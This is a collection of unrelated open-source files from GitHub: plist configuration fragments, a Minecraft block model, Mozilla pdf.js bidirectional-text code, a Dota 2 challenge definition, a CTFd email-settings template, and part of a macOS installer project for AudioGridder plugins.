<key>PublishMute</key>
<true/>
<key>PublishVolume</key>
<true/>
<key>VolumeInputAmp</key>
<false/>
</dict>
<key>NodeID</key>
<integer>3</integer>
</dict>
</array>
</array>
</array>
</array>
<key>PathMapID</key>
<integer>11</integer>
</dict>
</array>
</dict>
</plist>
|
{
"pile_set_name": "Github"
}
|
{
"credit": "Made with Blockbench",
"parent": "block/block",
"textures": {
"side": "create:block/encased_belt",
"1": "create:block/gearbox",
"particle": "#side"
},
"elements": [
{
"name": "Base",
"from": [0, 0, 0],
"to": [16, 2, 16],
"faces": {
"north": {"uv": [0, 14, 16, 16], "texture": "#1"},
"east": {"uv": [14, 0, 16, 16], "rotation": 90, "texture": "#side"},
"south": {"uv": [0, 14, 16, 16], "texture": "#1"},
"west": {"uv": [0, 0, 2, 16], "rotation": 270, "texture": "#side"},
"up": {"uv": [0, 0, 16, 16], "texture": "#side"},
"down": {"uv": [0, 0, 16, 16], "rotation": 180, "texture": "#side"}
}
},
{
"name": "Core",
"from": [2, 2, 1],
"to": [14, 14, 15],
"faces": {
"north": {"uv": [2, 2, 14, 14], "texture": "#1"},
"south": {"uv": [2, 2, 14, 14], "texture": "#1"}
}
},
{
"name": "Top",
"from": [0, 14, 0],
"to": [16, 16, 16],
"faces": {
"north": {"uv": [0, 0, 16, 2], "texture": "#1"},
"east": {"uv": [0, 0, 2, 16], "rotation": 90, "texture": "#side"},
"south": {"uv": [0, 0, 16, 2], "texture": "#1"},
"west": {"uv": [14, 0, 16, 16], "rotation": 270, "texture": "#side"},
"up": {"uv": [0, 0, 16, 16], "texture": "#side"},
"down": {"uv": [0, 0, 16, 16], "texture": "#side"}
}
},
{
"name": "SIde",
"from": [0, 2, 0],
"to": [2, 14, 16],
"faces": {
"north": {"uv": [14, 2, 16, 14], "texture": "#1"},
"east": {"uv": [2, 0, 14, 16], "rotation": 270, "texture": "#side"},
"south": {"uv": [0, 2, 2, 14], "texture": "#1"},
"west": {"uv": [2, 0, 14, 16], "rotation": 270, "texture": "#side"}
}
},
{
"name": "Side",
"from": [14, 2, 0],
"to": [16, 14, 16],
"faces": {
"north": {"uv": [0, 2, 2, 14], "texture": "#1"},
"east": {"uv": [2, 0, 14, 16], "rotation": 90, "texture": "#side"},
"south": {"uv": [14, 2, 16, 14], "texture": "#1"},
"west": {"uv": [2, 0, 14, 16], "rotation": 270, "texture": "#side"}
}
}
]
}
|
{
"pile_set_name": "Github"
}
|
/**
* @licstart The following is the entire license notice for the
* Javascript code in this page
*
* Copyright 2020 Mozilla Foundation
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
* @licend The above is the entire license notice for the
* Javascript code in this page
*/
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.bidi = bidi;
var _util = require("../shared/util.js");
var baseTypes = ["BN", "BN", "BN", "BN", "BN", "BN", "BN", "BN", "BN", "S", "B", "S", "WS", "B", "BN", "BN", "BN", "BN", "BN", "BN", "BN", "BN", "BN", "BN", "BN", "BN", "BN", "BN", "B", "B", "B", "S", "WS", "ON", "ON", "ET", "ET", "ET", "ON", "ON", "ON", "ON", "ON", "ES", "CS", "ES", "CS", "CS", "EN", "EN", "EN", "EN", "EN", "EN", "EN", "EN", "EN", "EN", "CS", "ON", "ON", "ON", "ON", "ON", "ON", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "ON", "ON", "ON", "ON", "ON", "ON", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "ON", "ON", "ON", "ON", "BN", "BN", "BN", "BN", "BN", "BN", "B", "BN", "BN", "BN", "BN", "BN", "BN", "BN", "BN", "BN", "BN", "BN", "BN", "BN", "BN", "BN", "BN", "BN", "BN", "BN", "BN", "BN", "BN", "BN", "BN", "BN", "BN", "CS", "ON", "ET", "ET", "ET", "ET", "ON", "ON", "ON", "ON", "L", "ON", "ON", "BN", "ON", "ON", "ET", "ET", "EN", "EN", "ON", "L", "ON", "ON", "ON", "EN", "L", "ON", "ON", "ON", "ON", "ON", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "ON", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "L", "ON", "L", "L", "L", "L", "L", "L", "L", "L"];
var arabicTypes = ["AN", "AN", "AN", "AN", "AN", "AN", "ON", "ON", "AL", "ET", "ET", "AL", "CS", "AL", "ON", "ON", "NSM", "NSM", "NSM", "NSM", "NSM", "NSM", "NSM", "NSM", "NSM", "NSM", "NSM", "AL", "AL", "", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "NSM", "NSM", "NSM", "NSM", "NSM", "NSM", "NSM", "NSM", "NSM", "NSM", "NSM", "NSM", "NSM", "NSM", "NSM", "NSM", "NSM", "NSM", "NSM", "NSM", "NSM", "AN", "AN", "AN", "AN", "AN", "AN", "AN", "AN", "AN", "AN", "ET", "AN", "AN", "AL", "AL", "AL", "NSM", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "AL", "NSM", "NSM", "NSM", "NSM", "NSM", "NSM", "NSM", "AN", "ON", "NSM", "NSM", "NSM", "NSM", "NSM", "NSM", "AL", "AL", "NSM", "NSM", "ON", "NSM", "NSM", "NSM", "NSM", "AL", "AL", "EN", "EN", "EN", "EN", "EN", "EN", "EN", "EN", "EN", "EN", "AL", "AL", "AL", "AL", "AL", "AL"];
function isOdd(i) {
return (i & 1) !== 0;
}
function isEven(i) {
return (i & 1) === 0;
}
function findUnequal(arr, start, value) {
for (var j = start, jj = arr.length; j < jj; ++j) {
if (arr[j] !== value) {
return j;
}
}
return j;
}
function setValues(arr, start, end, value) {
for (var j = start; j < end; ++j) {
arr[j] = value;
}
}
function reverseValues(arr, start, end) {
for (var i = start, j = end - 1; i < j; ++i, --j) {
var temp = arr[i];
arr[i] = arr[j];
arr[j] = temp;
}
}
function createBidiText(str, isLTR, vertical = false) {
let dir = "ltr";
if (vertical) {
dir = "ttb";
} else if (!isLTR) {
dir = "rtl";
}
return {
str,
dir
};
}
var chars = [];
var types = [];
function bidi(str, startLevel, vertical) {
var isLTR = true;
var strLength = str.length;
if (strLength === 0 || vertical) {
return createBidiText(str, isLTR, vertical);
}
chars.length = strLength;
types.length = strLength;
var numBidi = 0;
var i, ii;
for (i = 0; i < strLength; ++i) {
chars[i] = str.charAt(i);
var charCode = str.charCodeAt(i);
var charType = "L";
if (charCode <= 0x00ff) {
charType = baseTypes[charCode];
} else if (0x0590 <= charCode && charCode <= 0x05f4) {
charType = "R";
} else if (0x0600 <= charCode && charCode <= 0x06ff) {
charType = arabicTypes[charCode & 0xff];
if (!charType) {
(0, _util.warn)("Bidi: invalid Unicode character " + charCode.toString(16));
}
} else if (0x0700 <= charCode && charCode <= 0x08ac) {
charType = "AL";
}
if (charType === "R" || charType === "AL" || charType === "AN") {
numBidi++;
}
types[i] = charType;
}
if (numBidi === 0) {
isLTR = true;
return createBidiText(str, isLTR);
}
if (startLevel === -1) {
if (numBidi / strLength < 0.3) {
isLTR = true;
startLevel = 0;
} else {
isLTR = false;
startLevel = 1;
}
}
var levels = [];
for (i = 0; i < strLength; ++i) {
levels[i] = startLevel;
}
var e = isOdd(startLevel) ? "R" : "L";
var sor = e;
var eor = sor;
var lastType = sor;
for (i = 0; i < strLength; ++i) {
if (types[i] === "NSM") {
types[i] = lastType;
} else {
lastType = types[i];
}
}
lastType = sor;
var t;
for (i = 0; i < strLength; ++i) {
t = types[i];
if (t === "EN") {
types[i] = lastType === "AL" ? "AN" : "EN";
} else if (t === "R" || t === "L" || t === "AL") {
lastType = t;
}
}
for (i = 0; i < strLength; ++i) {
t = types[i];
if (t === "AL") {
types[i] = "R";
}
}
for (i = 1; i < strLength - 1; ++i) {
if (types[i] === "ES" && types[i - 1] === "EN" && types[i + 1] === "EN") {
types[i] = "EN";
}
if (types[i] === "CS" && (types[i - 1] === "EN" || types[i - 1] === "AN") && types[i + 1] === types[i - 1]) {
types[i] = types[i - 1];
}
}
for (i = 0; i < strLength; ++i) {
if (types[i] === "EN") {
var j;
for (j = i - 1; j >= 0; --j) {
if (types[j] !== "ET") {
break;
}
types[j] = "EN";
}
for (j = i + 1; j < strLength; ++j) {
if (types[j] !== "ET") {
break;
}
types[j] = "EN";
}
}
}
for (i = 0; i < strLength; ++i) {
t = types[i];
if (t === "WS" || t === "ES" || t === "ET" || t === "CS") {
types[i] = "ON";
}
}
lastType = sor;
for (i = 0; i < strLength; ++i) {
t = types[i];
if (t === "EN") {
types[i] = lastType === "L" ? "L" : "EN";
} else if (t === "R" || t === "L") {
lastType = t;
}
}
for (i = 0; i < strLength; ++i) {
if (types[i] === "ON") {
var end = findUnequal(types, i + 1, "ON");
var before = sor;
if (i > 0) {
before = types[i - 1];
}
var after = eor;
if (end + 1 < strLength) {
after = types[end + 1];
}
if (before !== "L") {
before = "R";
}
if (after !== "L") {
after = "R";
}
if (before === after) {
setValues(types, i, end, before);
}
i = end - 1;
}
}
for (i = 0; i < strLength; ++i) {
if (types[i] === "ON") {
types[i] = e;
}
}
for (i = 0; i < strLength; ++i) {
t = types[i];
if (isEven(levels[i])) {
if (t === "R") {
levels[i] += 1;
} else if (t === "AN" || t === "EN") {
levels[i] += 2;
}
} else {
if (t === "L" || t === "AN" || t === "EN") {
levels[i] += 1;
}
}
}
var highestLevel = -1;
var lowestOddLevel = 99;
var level;
for (i = 0, ii = levels.length; i < ii; ++i) {
level = levels[i];
if (highestLevel < level) {
highestLevel = level;
}
if (lowestOddLevel > level && isOdd(level)) {
lowestOddLevel = level;
}
}
for (level = highestLevel; level >= lowestOddLevel; --level) {
var start = -1;
for (i = 0, ii = levels.length; i < ii; ++i) {
if (levels[i] < level) {
if (start >= 0) {
reverseValues(chars, start, i);
start = -1;
}
} else if (start < 0) {
start = i;
}
}
if (start >= 0) {
reverseValues(chars, start, levels.length);
}
}
for (i = 0, ii = chars.length; i < ii; ++i) {
var ch = chars[i];
if (ch === "<" || ch === ">") {
chars[i] = "";
}
}
return createBidiText(chars.join(""), isLTR);
}
|
{
"pile_set_name": "Github"
}
|
"death_prophet_spirit_siphon"
{
"challengetype" "192"
"desc" "#DOTA_ChallengeDesc_DeathProphetSpiritSiphon"
"requiredhero" "43"
"multi_query" "1"
"events"
{
"1"
{
"desc" "#DOTA_ChallengeDesc_DeathProphetSpiritSiphon_Sub1"
"status_text" "#DOTA_ChallengeStatusText_DeathProphetSpiritSiphon_Sub1"
"matching_type" "linear_series"
"query"
{
"spirit_siphon"
{
"event" "modifier_remove"
"caster_playerid" "!playerid"
"target_must_be_hero" "1"
"modifier" "modifier_death_prophet_spirit_siphon_slow"
"duration_greater_than_mseconds" "0.100000"
"storage"
{
"3"
{
"key" "elapsed_duration"
"aggregator" "sum"
}
}
}
}
"progress_stored_in" "3"
"post_tests"
{
"test_spirit_siphon_duration"
{
"storage" "3"
"compare" ">="
"amount" "<total_spirit_siphon_duration>"
}
}
}
"2"
{
"desc" "#DOTA_ChallengeDesc_DeathProphetSpiritSiphon_Sub2"
"status_text" "#DOTA_ChallengeStatusText_DeathProphetSpiritSiphon_Sub2"
"matching_type" "timeblock_accumulate_after_trigger"
"query"
{
"trigger"
{
"event" "ability"
"caster" "!hero"
"ability" "death_prophet_silence"
}
"time_block_after_trigger" "1.000000"
"accumulate_event"
{
"event" "modifier_add"
"caster" "!hero"
"target_must_be_hero" "1"
"is_silence" "1"
"storage"
{
"1"
{
"aggregator" "increment"
}
}
}
}
"postmatch_increments"
{
"pre_storage_test"
{
"test_stunned_heroes_per_cast"
{
"storage" "1"
"compare" ">="
"amount" "2"
}
}
"storage"
{
"2"
{
"aggregator" "increment"
}
}
}
"clear_storage_per_trigger_or_pre_test_pass"
{
"1" "1"
"2" "0"
}
"progress_stored_in" "2"
"post_tests"
{
"test_stunned_heroes"
{
"storage" "2"
"compare" ">="
"amount" "<double_silences>"
}
}
}
}
"variables"
{
"<total_spirit_siphon_duration>"
{
"format" "int"
"index" "0"
}
"<double_silences>"
{
"format" "int"
"index" "1"
}
}
}
|
{
"pile_set_name": "Github"
}
|
<div role="tabpanel" class="tab-pane config-section" id="email">
<form method="POST" autocomplete="off" class="w-100">
<h5>Email Content</h5>
<small class="form-text text-muted">
Customize CTFd emails with <a href="https://docs.ctfd.io/docs/settings/emails/#email-content" target="_blank">predefined variables</a> and custom content
</small>
<ul class="nav nav-tabs mt-3" role="tablist">
<li class="nav-item active">
<a class="nav-link active" href="#confirmation-email-tab" role="tab" data-toggle="tab">
Confirmation
</a>
</li>
<li class="nav-item">
<a class="nav-link" href="#account-details-email-tab" role="tab" data-toggle="tab">Account Details</a>
</li>
<li class="nav-item">
<a class="nav-link" href="#password-reset-email-tab" role="tab" data-toggle="tab">Password Reset</a>
</li>
</ul>
<div class="tab-content">
<div role="tabpanel" class="tab-pane active" id="confirmation-email-tab">
<div class="form-group">
<label class="pt-3">
Account Registration<br>
<small class="form-text text-muted">
Email sent to users after they've registered their account entirely
</small>
</label>
<div>
<label>
Subject
</label>
<input class="form-control" id='successful_registration_email_subject' name='successful_registration_email_subject' type='text'
value="{{ successful_registration_email_subject or ''}}">
<label>
Body
</label>
<textarea class="form-control" type="text" id="successful_registration_email_body" name="successful_registration_email_body"
rows="5">{{ successful_registration_email_body or '' }}</textarea>
</div>
</div>
<div class="form-group">
<label class="pt-3">
Account Confirmation<br>
<small class="form-text text-muted">
Email sent to users to confirm their account
</small>
</label>
<div>
<label>
Subject
</label>
<input class="form-control" id='verification_email_subject' name='verification_email_subject' type='text' value="{{ verification_email_subject or ''}}">
<label>
Body
</label>
<textarea class="form-control" type="text" id="verification_email_body" name="verification_email_body"
rows="5">{{ verification_email_body or '' }}</textarea>
</div>
</div>
</div>
<div role="tabpanel" class="tab-pane" id="account-details-email-tab">
<div class="form-group">
<label class="pt-3">
New Account Details<br>
<small class="form-text text-muted">
Email sent to new users (created by an admin) with their initial account details
</small>
</label>
<div>
<label>
Subject
</label>
<input class="form-control" id='user_creation_email_subject' name='user_creation_email_subject' type='text'
value="{{ user_creation_email_subject or ''}}">
<label>
Body
</label>
<textarea class="form-control" type="text" id="user_creation_email_body" name="user_creation_email_body"
rows="5">{{ user_creation_email_body or '' }}</textarea>
</div>
</div>
</div>
<div role="tabpanel" class="tab-pane" id="password-reset-email-tab">
<div class="form-group">
<label class="pt-3">
Password Reset Request<br>
<small class="form-text text-muted">
Email sent whent a user requests a password reset
</small>
</label>
<div>
<label>
Subject
</label>
<input class="form-control" id='password_reset_subject' name='password_reset_subject' type='text'
value="{{ password_reset_subject or ''}}">
<label>
Body
</label>
<textarea class="form-control" type="text" id="password_reset_body" name="password_reset_body"
rows="5">{{ password_reset_body or '' }}</textarea>
</div>
</div>
<div class="form-group">
<label class="pt-3">
Password Reset Confirmation<br>
<small class="form-text text-muted">
Email sent whent a user successfully resets their password
</small>
</label>
<div>
<label>
Subject
</label>
<input class="form-control" id='password_change_alert_subject' name='password_change_alert_subject' type='text'
value="{{ password_change_alert_subject or ''}}">
<label>
Body
</label>
<textarea class="form-control" type="text" id="password_change_alert_body" name="password_change_alert_body"
rows="5">{{ password_change_alert_body or '' }}</textarea>
</div>
</div>
</div>
</div>
<hr class="my-5">
<h5>Email Server</h5>
<small class="form-text text-muted">
Change the email server used by CTFd to send email
</small>
<ul class="nav nav-tabs my-3" role="tablist">
<li class="nav-item active">
<a class="nav-link active" href="#mailserver" role="tab" data-toggle="tab">Mail
Server</a>
</li>
<li class="nav-item">
<a class="nav-link" href="#mailgun" role="tab" data-toggle="tab">Mailgun</a>
</li>
</ul>
<div class="form-group">
<label>
Mail From Address<br>
<small class="form-text text-muted">
Email address used to send email
</small>
</label>
<input class="form-control" id='mailfrom_addr' name='mailfrom_addr' type='text' {% if mailfrom_addr is defined and mailfrom_addr != None %}value="{{ mailfrom_addr }}"{% endif %}>
</div>
<div class="tab-content">
<div role="tabpanel" class="tab-pane active" id="mailserver">
<div class="form-group">
<label>
Mail Server Address<br>
<small class="form-text text-muted">
Mail Server Address
</small>
</label>
<input class="form-control" id='mail_server' name='mail_server' type='text'
{% if mail_server is defined and mail_server != None %}value="{{ mail_server }}"{% endif %}>
</div>
<div class="form-group">
<label>
Mail Server Port<br>
<small class="form-text text-muted">
Mail Server Port
</small>
</label>
<input class="form-control" id='mail_port' name='mail_port' type='text'
{% if mail_port is defined and mail_port != None %}value="{{ mail_port }}"{% endif %}>
</div>
<div class="form-check">
<label>
<input id="mail_useauth" name="mail_useauth" type="checkbox"
{% if mail_useauth %}checked{% endif %}>
Use Mail Server Username and Password
</label>
</div>
<div id="mail_username_password">
<div class="form-group">
<label>
Username<br>
<small class="form-text text-muted">
Mail Server Account Username
</small>
</label>
{% if mail_username is defined and mail_username != None %}
<label>
<sup class="form-text text-muted">A mail server username is currently set</sup>
</label>
{% endif %}
<input class="form-control" id='mail_username' name='mail_username' autocomplete='off' type='text'>
</div>
<div class="form-group">
<label for="mail_password">
Password<br>
<small class="form-text text-muted">
Mail Server Account Password
</small>
</label>
{% if mail_password is defined and mail_password != None %}
<label>
<sup class="form-text text-muted">An mail server password is currently set</sup>
</label>
{% endif %}
<input class="form-control" id='mail_password' name='mail_password' autocomplete='off' type='password'>
</div>
<sup>Uncheck setting and update to remove username and password</sup>
<br>
<br>
</div>
<div class="form-check">
<label>
<input id="mail_ssl" name="mail_ssl" type="checkbox" {% if mail_ssl %}checked{% endif %}>
SSL
</label>
</div>
<div class="form-check">
<label>
<input id="mail_tls" name="mail_tls" type="checkbox" {% if mail_tls %}checked{% endif %}>
TLS
</label>
</div>
</div>
<div role="tabpanel" class="tab-pane" id="mailgun">
<div class="alert alert-warning" role="alert">
Mailgun integration is deprecated! Please see your Mailgun account for SMTP credentials.
</div>
<div class="form-group">
<label>
Mailgun API Base URL<br>
<small class="form-text text-muted">
Mailgun API Base URL
</small>
</label>
<input class="form-control" id='mailgun_base_url' name='mailgun_base_url' type='text'
{% if mailgun_base_url is defined and mailgun_base_url != None %}value="{{ mailgun_base_url }}"{% endif %}>
</div>
<div class="form-group">
<label>
Mailgun API Key<br>
<small class="form-text text-muted">
Mailgun API Key
</small>
</label>
<input class="form-control" id='mailgun_api_key' name='mailgun_api_key' type='text'
{% if mailgun_api_key is defined and mailgun_api_key != None %}value="{{ mailgun_api_key }}"{% endif %}>
</div>
</div>
</div>
<button type="submit" class="btn btn-md btn-primary float-right">Update</button>
</form>
</div>
|
{
"pile_set_name": "Github"
}
|
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>PACKAGES</key>
<array>
<dict>
<key>MUST-CLOSE-APPLICATION-ITEMS</key>
<array/>
<key>MUST-CLOSE-APPLICATIONS</key>
<false/>
<key>PACKAGE_FILES</key>
<dict>
<key>DEFAULT_INSTALL_LOCATION</key>
<string>/</string>
<key>HIERARCHY</key>
<dict>
<key>CHILDREN</key>
<array>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>80</integer>
<key>PATH</key>
<string>Applications</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>509</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>80</integer>
<key>PATH</key>
<string>Application Support</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array>
<dict>
<key>CHILDREN</key>
<array>
<dict>
<key>CHILDREN</key>
<array>
<dict>
<key>BUNDLE_CAN_DOWNGRADE</key>
<true/>
<key>BUNDLE_POSTINSTALL_PATH</key>
<dict>
<key>PATH_TYPE</key>
<integer>0</integer>
</dict>
<key>BUNDLE_PREINSTALL_PATH</key>
<dict>
<key>PATH_TYPE</key>
<integer>0</integer>
</dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>../Plugin/Fx/Builds/MacOSX/build/Release/AudioGridder.component</string>
<key>PATH_TYPE</key>
<integer>1</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>3</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>BUNDLE_CAN_DOWNGRADE</key>
<true/>
<key>BUNDLE_POSTINSTALL_PATH</key>
<dict>
<key>PATH_TYPE</key>
<integer>0</integer>
</dict>
<key>BUNDLE_PREINSTALL_PATH</key>
<dict>
<key>PATH_TYPE</key>
<integer>0</integer>
</dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>../Plugin/Inst/Builds/MacOSX/build/Release/AudioGridderInst.component</string>
<key>PATH_TYPE</key>
<integer>1</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>3</integer>
<key>UID</key>
<integer>0</integer>
</dict>
</array>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>Components</string>
<key>PATH_TYPE</key>
<integer>2</integer>
<key>PERMISSIONS</key>
<integer>509</integer>
<key>TYPE</key>
<integer>2</integer>
<key>UID</key>
<integer>0</integer>
</dict>
</array>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>Plug-Ins</string>
<key>PATH_TYPE</key>
<integer>2</integer>
<key>PERMISSIONS</key>
<integer>509</integer>
<key>TYPE</key>
<integer>2</integer>
<key>UID</key>
<integer>0</integer>
</dict>
</array>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>Audio</string>
<key>PATH_TYPE</key>
<integer>2</integer>
<key>PERMISSIONS</key>
<integer>509</integer>
<key>TYPE</key>
<integer>2</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>Automator</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>Documentation</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>Extensions</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>Filesystems</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>Frameworks</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>Input Methods</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>Internet Plug-Ins</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>LaunchAgents</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>LaunchDaemons</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>PreferencePanes</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>Preferences</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>80</integer>
<key>PATH</key>
<string>Printers</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>PrivilegedHelperTools</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>1005</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>QuickLook</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>QuickTime</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>Screen Savers</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>Scripts</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>Services</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
<dict>
<key>CHILDREN</key>
<array/>
<key>GID</key>
<integer>0</integer>
<key>PATH</key>
<string>Widgets</string>
<key>PATH_TYPE</key>
<integer>0</integer>
<key>PERMISSIONS</key>
<integer>493</integer>
<key>TYPE</key>
<integer>1</integer>
<key>UID</key>
<integer>0</integer>
</dict>
</array>
<key>GID</key>
<integer>0</integer>
